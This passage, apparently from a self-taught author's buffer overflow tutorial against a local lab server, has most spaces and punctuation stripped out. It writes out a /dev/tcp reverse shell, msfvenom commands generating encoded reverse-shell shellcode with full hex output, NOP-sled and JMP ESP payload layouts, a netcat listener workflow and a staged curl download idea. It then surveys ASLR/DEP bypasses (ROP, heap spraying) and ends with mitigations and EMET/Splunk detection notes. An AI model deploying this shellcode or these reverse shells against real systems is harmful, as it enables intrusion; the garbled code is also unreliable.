one terminal listening on port 4444 and wersquoll execute the reverse shell from another terminal and attempt to connect to the listener It
lookslikethissimplereversebinshshellcommandwillworkonthetargetOS(mylocalhostlolz)
The next part that gets overlooked is the assembler encoding into machine op code Kali Linux and Metasploit have tools that generate
a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood If your self-taught noob like myself and
not comp-sci person then itrsquos good we take a moment to cover this Even if you donrsquot fully understand it yoursquoll at least understand there
isanaddedlayerofcomplexity
LetrsquosrefertoourfriendwikipediaforhelphereIpersonallyconcatenateabunchofthistogetherbecauseIfounditusefulinmynotes
ldquoThe Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture It can be used to write 16-bit 32-bit (IA-32) and 64-bit (x86-64) programs
NASM principally outputs object files which are generally not executable by themselves In computing object code or object module is the product of a compiler In a general
sense object code is a sequence of statements or instructions in a computer language usually a machine code language (ie binary) or an intermediate language such as
register transfer language (RTL) An assembler is used to convert assembly code into machine code (object code) An assembly language (or assembler language) often
abbreviated asm is any low-level programming language in which there is a very strong correspondence between the programs statements and the architectures machine
codeinstructionsrdquo
So when we put in x90x41x42 etc etc you might have noticed that the values stayed the same in memory and in the registers But
when we put in a bunch of Arsquos for some reason the EIP register spit out x41s Well when we performed ldquoinfo all-registersrdquo wersquore seeing
the HEX variant (x41x42x43) of the variables used in the CPUrsquos assembly language Thatrsquos part of the assembly language at work
helpingusgofromahigherlevellanguageinCtoalowerlevellanguagetotheCPUthatwedonrsquotunderstandlikebinary1rsquosand0rsquos
So when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters
commands because the assembly is already expecting that value in the register to execute when the function is called I canrsquot explain it
any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the
registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip
PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip
binsh-igtampdevtcp12700144440gtamp1
encodesto
x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x
2fx34x34x34x34x20x30x3ex26x31
Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly
from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a
simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX
To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86
encodedcommandthatthekernelcaninterpret
binsh-igtampdevtcp12700144440gtamp1
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
x86encodedShellCode
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01
xd8x7dxf3xdcx9b
TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully
understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally
worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders
- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform
- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina
singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos
ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is
malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced
- f=formathellipThatcanberawCJSPshelletcetc
- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore
- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere
Wheredoweputourmalware
While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the
clientpyscriptputtingthemalwarebeforeEIPlookslikethis
NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS
Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is
important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left
manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior
because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory
address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and
unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto
HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow
malware=x41x30
eip=x97xcfxfaxb7
eip=x41x41x41x41
ending=x90200
nopsled=(x41(1000-len(malware)))
MESSAGE=x901040+eip+nopsled+malware+ending
After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then
look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote
with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register
pointertojumpintothenopsled
One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that
specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that
can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out
bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo
for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell
codeaftertheEIPsowecanjumpintoESP
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip
x86encodedShellCodewBadCharacters(Fornextsection)
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01
xd8x7dxf3xdcx9bx00x00
Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade
UpdatedclientpyCodewiththeldquoBadCharactercoderdquo
Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the
clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and
overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a
connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection
willfail
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or
WHOIScommandsLetrsquosinvestigate
1 RightclickEIPinRegisterWindowsrarrFollowinDump
2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending
3 Lookforx00commandsandtrytonoticeanythingorstrange
WhattheTargetMachineSees
Whatwesentover
We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc
etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does
not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP
CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence
of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into
various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad
charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard
So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and
omitcharacters
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow
ofhellip
1 UseagiantblobofallASCIcharactersinHEX
2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline
Howtotestforbadcharactersandotherassemblyandregisterissues
Terminal1Server1337
Terminal2edb(orGDBIwonrsquotjudge)
fromedbrarrattachrarrServer
fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning
Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory
Yoursquollbelookingforx41orx90rsquos
Option1-AlltheASCII
x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10
x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20
x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30
x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40
x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50
x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60
x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70
x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80
x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90
x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0
xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0
xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0
xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0
xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0
xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff
Option2-Testsomespecificcommands
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto
thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest
Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution
ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime
issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo
KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor
hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO
commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell
NewPayload
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode
FinalResults
SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere
theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback
toourldquoattackingrdquoterminal(farthestright)
CommonBufferOverflowExampleandMitigations(inC)
WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare
morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated
stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline
orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()
andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe
assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe
registersofacompiledbinaryorreviewingtheoutputfromGHIDRA
gets
Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability
VulnerableCode(SOURCE)
printfexternallink(Inputsomethingnastyhere)
gets(something)
VulnerableCode(ASSEMBLY)
FixedCode
printfexternallink(Inputsomethingnastyhere)
fgets(usernameLENGTHstdin)
strcpy
Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone
contiguoustomemorywherethepayloadisstored
VulnerableCode
charstr1[10]
charstr2[]=badstuffhere
strcpy(str1str2)
FixedCode(SOURCE)
enumBUFFER_LIMIT=1024
intmain()
chardst[BUFFER_LIMIT]
charsrc[]=badstuffhere
intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)
if(buffer_lengthgt=BUFFER_LIMIT)
printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn
buffer_lengthBUFFER_LIMIT-1)
VulnerableCode(ASSEMBLY)
Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows
FixedCode(SOURCE)
enumBUFFER_BOUNDARY_SIZE=1024
charstr1[BUFFER_BOUNDARY_SIZE]
charstr2[]=badstuffhere
strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize
strcat
YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto
thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin
sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied
FixedCode(SOURCE)
defineBUFFER_BOUNDARY_SIZE1024
charbuff[BUFFER_BOUNDARY_SIZE]
Usesecurestrncpythenuse
strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)
buff[BUFFER_BOUNDARY_SIZE-1]=0
strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)
strcmp
ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach
otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot
validatethesizeoftheinputagainstthepredefinedbuffer
OtherMitigationstoBufferOverflows
During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable
ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the
following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits
need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my
own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the
newcomertodiptheirtoesintothesubjects
Canary
A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions
prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary
ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps
detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly
overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith
https0x00secorgtexploit-mitigation-techniques-stack-canaries5085
httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained
httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf
DEP-DataExecutionProtection
DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware
executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as
non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns
For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag
of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other
linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow
security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks
forroutineswithanytypeofbuffer
In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get
the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the
bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP
setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may
introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP
httpslwnnetArticles422487
httpslinuxdienetman8execstack
httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in
httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your
httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae
BypassingDEP
Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to
David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view
ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining
So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu
will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you
overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary
arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in
linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable
in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another
option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in
the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the
application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of
instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope
somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle
ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot
intendtohavethewordldquoheartrdquodidherdquo
Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your
payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP
gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET
instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps
An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute
ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script
which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1
But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it
difficulttocallexecve()orsystem()
Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove
found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create
a new executable space or change the flag for existing executable space However finding the memory addresses to these functions
andcallingthemappearstobeadifferentstory
httpsgithubcomJonathanSalwanROPgadget
httpswwwrapid7comresourcesrop-exploit-explained
httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf
httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf
httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi
ng-chains]pdf
ASLR(Addressspacelayoutrandomization)
Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation
BypassingASLR
Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and
windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible
chunksandhopefullythishelpsguidemyselfandotherfurtherstudies
NonASLRlinkedbinaries
It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with
some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something
that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR
enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the
memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program
with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass
ASLRandbeginaROPattack
httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf
httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf
PointerLeaksDanglingPointers
If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot
for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code
into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE
which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory
object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that
the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how
virtualfunctionsarereferencedviavirtualtables
httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf
httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf
httpswwwrapid7comresourceswhy-you-should-be-using-emet
HEAPSprayswithASLRdisabledVirtualAlloc()inWindows
If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create
write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can
either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by
VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this
seemslikejustplainluck
httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified
httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf
BlueteamEngineeringforpostBufferOverflow
For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just
learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos
are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues
SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to
Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I
thoughtthroughthisIlumpedthedetectionintotwobuckets
1 DetectingFailedBufferOverflowAttempts
2 DetectingSuccessfullyBufferOverflowAttempts
DetectingFailedBufferOverAttemptsinWindows
If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events
are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the
oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog
For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as
the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases
whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked
EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their
sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a
similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM
Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a
collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via
GPOetc
ltQueryListgt
ltQueryId=0Path=Applicationgt
ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt
ltQuerygt
ltQueryListgt
To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and
configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service
to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on
somepredefinedSplunkpolicy
Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an
exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog
The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server
BasicallythispolicysayswhichlogscangetsentontotheSIEM
[WinEventLogForwardedEvents]
disabled=0
renderXml=1
evt_resolve_ad_obj=1
The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to
and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk
queries
SampleEMETEvent
EMETversion55587131892
EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE
EAF+checkfailed
ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE
UserNameDOMAINuser
SessionID1
PID0x1348(4936)
TID0xF90(3984)
ModuleSOMEDLLdll
ModBase0x11630000
ModAddress0x11642E99
MemAddress0x76F501A4
Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to
prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may
need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice
beachheadtomaintainafoothold
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf
httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server
DetectingSuccessfulBufferOverAttempts
The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker
has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed
which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two
approachespaintsasolidpicture
1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)
2) Hostbasedsignaturedetection
NetworkBasedDetection
Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the
clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication
1 EncodedHEXpayloadmalwarewithintheclientattack
2 Abunchofx90rsquoswithintheclientattack
3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal
